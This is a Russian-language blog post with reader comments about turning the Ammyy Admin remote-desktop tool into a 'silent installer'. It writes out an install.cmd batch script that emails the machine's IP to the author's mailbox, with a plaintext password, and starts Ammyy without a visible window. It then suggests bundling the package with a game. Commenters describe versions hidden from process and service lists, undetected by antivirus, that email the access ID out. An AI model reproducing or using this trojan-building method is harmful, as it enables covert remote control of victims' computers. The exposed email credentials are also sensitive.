Копаем Ammyy Admin

Я частенько пользуюсь Ammyy Admin.

Единственное, чего мне не хватает - это Silent Install-а - "тихой установки".

Исследуем энту программу:

1. Переименуем файл - присвоим ему расширение txt и откроем в блокноте .

2. Я обратил внимание, что после выполнения команды меню Ammyy-Служба-Установить в Панели управления - Администрирование - Службы появляется новая Служба "Ammy Admin" , которая запускается как .........\AA_v3.exe" -service

Вопрос - а какие еще ключи можно задать этой программе из командной строки?

3. Делаем поиск в открытом в пункте 1 файле по слову -service

И находим список других ключей Ammyy Admin  -log    -debug  -  -connect    -set_proxy_ -dosas_ -newid  -setsettings    -showversion    -elevated   -log    -startclient    -lunch  -nogui  -service    -remove -install

О назначении которых совсем несложно догадаться.

4.  Настройки доступа и пароль - после того как их сохранишь, в папке %COMMON_APPDATA%\AMMYY  появляется файл settings3.bin

5. Вместо ID можно использовать IP-адрес.  Для определения IP - адреса программа Ammyy Admin обращается к сайту ht_tp://rl.ammyy.com/ и получает от него ответ вида Your IP=85.176.218.211, country = RU

Итак "тихий установщик" должен проделать следующее:

1. Распаковать файл программы и файл настроек

2. Обратится к сайту сайту htt_p://rl.ammyy.com/ и выслать полученный IP электронной почтой

3. Запустить Ammyy Admin с ключами -startclient    -nogui

Попробую написать... Если получится - выложу исходники.

.....

Итак, для пункта 2 написана программа , основная функция которой - получение IP-адреса.

Подробнее о программе...

Использовать будем, конечно же, консольный вариант программы.

Для отправки почты возьмем консольный почтовик

Сложим все нужные для сборки "тихого установщика" файлы в одну папку:

- AA_v3.exe (программа

- settings3.bin ( файл настроек)

-IP.exe (консольная программа определяющая АйПи-адрес)

-YM.exe (переименованный для краткости Ymailer.exe -консольный почтовик)

- install.cmd  - пакетный файл в котором запускаются консольные программы, имеющий следующее содержание:

IP.exe >ip.txt
YM.exe send smtphost smtp.bk.ru subject "IP получен" to r.t.y.u@bk.ru from r.t.y.u@bk.ru login r.t.y.u password r123456 file ip.txt
AA_v3.exe -startclient    -nogui

Теперь эту кучку файлов упаковываем в 1 при помощи программы Smart Install Maker

И получаем "тихий установщик" Ammyy Admin .

Достаточно щелкнуть - и на адрес r.t.y.u@bk.ru (пароль r123456) будет отправлен файл с IP -адресом , используя который и пароль 123456 можно получить доступ к рабочему столу.

Ну и ничего не стоит сделать следующий шаг - объединим эту штуку с файлами какой-либо игры.

Например вот

.............................

Продолжение:

По просьбе одного из читателей я исследовал возможность отправки ID вместо IP.

Для этого будем использовать Получение теста из чужого окна.

Дистрибутив пароль 123.

Яндекс включил фильтр на Ammy Admin - не удается отправить письмо с вложением или скопировать публичную ссылку в Яндекс. Диск.

Поэтому дистрибутив я зашифровал AxCrypt-ом

.....

Ammyy Admin обновился до версии 3.4

Список ключей запуска на данный момент таков:

-mode   -password   -connect    -set_proxy_ -dosas_ -log_by_settings    -log    -nogui  -service    -debug

 

ВложениеРазмер
Исходник определителя IP641.5 КБ

не удается установить и запустить службу  

AA_v3.exe -service

выскакивает файл лог AMMYY_service.log

вот с таким содержанием 

 

20121222-23:48:50.250 00000C04 - ERROR: ERROR: StartServiceCtrlDispatcher() 1063 в чем причина???

Служба сначала должна быть установлена командой AA_v3.exe -install . (удаляется ключем -remove )

Другая возможная причина - может быть эта служба уже работает, т.к. запущена другим способом ?

Спасибо за ответ помогло, но возник другой ворос при запуске

ammy.exe -startclient -nogui

id.exe Ammy id.txt 

в id.txt ничего не записывается, записывается только если убрать ключ -nogui, но если его убрать то окно ammy открывается.... (не очень этого хочется)

Добрый день. С какими параметрами надо запустить если файл с настройками лежит в той же папки что и программа.

У меня тоже с этим как-то не получилось пока. Все времени не было довести id.exe до ума...

Гхм, если файл настроек лежит в одной папке с программой - не проще ли скопировать его туда, где он должен лежать ?

Приветствую,смог сменить название и описание процесса и службы в аммии админ.Не могу привинтить отправку почты....Обменяемся наработками,моя почта leon.free2013(собак)yandex.ru

подскажите 1 пункт, как всётаки запустить установленную службу?

 

на данный момент уже реализованно: 

проверка на существование папки AMMYY и замена(если существует) файла settings,

копирование файла AA_3.2_Corporate.exe в систему %SYSTEMDRIVE%/Windows/System32/AA,

вытаскивание из программы ID  без дополнительных программ и запись в лог файл с именем компа(Пользователем)

установка службы WshShell.Run("AA.exe -install")

осталось только запуск службы сделать, делаю на VBS

Итогом 3х месяцев стал-полностью скрытый аммии(не определить в процессах и службах) и отправкой айди на почту,никакие антивирусники не палят.Создавал для контроля за продвинутыми пользователями)

Обмен наработками почта leon.free2013(собак)yandex.ru

ворос?

при запуске

ammy.exe -startclient -nogui

id.exe Ammy id.txt 

в id.txt ничего не записывается, записывается только если убрать ключ -nogui, но если его убрать то окно ammy открывается.... (не очень этого хочется)

Подскажите, пожалуйста, кто как решил проблему?

Ричард,ты не там копаешь.......пише мне leon.free2013(собак)yandex.ru

aka Hishchnik, подскажете, как решили запуск службы на VBS?

id можно получить ключом -outid (записан будет в ammyy_id.log)

Если для кого-то еще актуально.

   Помогите??? http://oivt.ru/node/2582

   Напишите автору в личку http://oivt.ru/user/yakovlevap/contact

--------
Ильфат Рифатович Исмагилов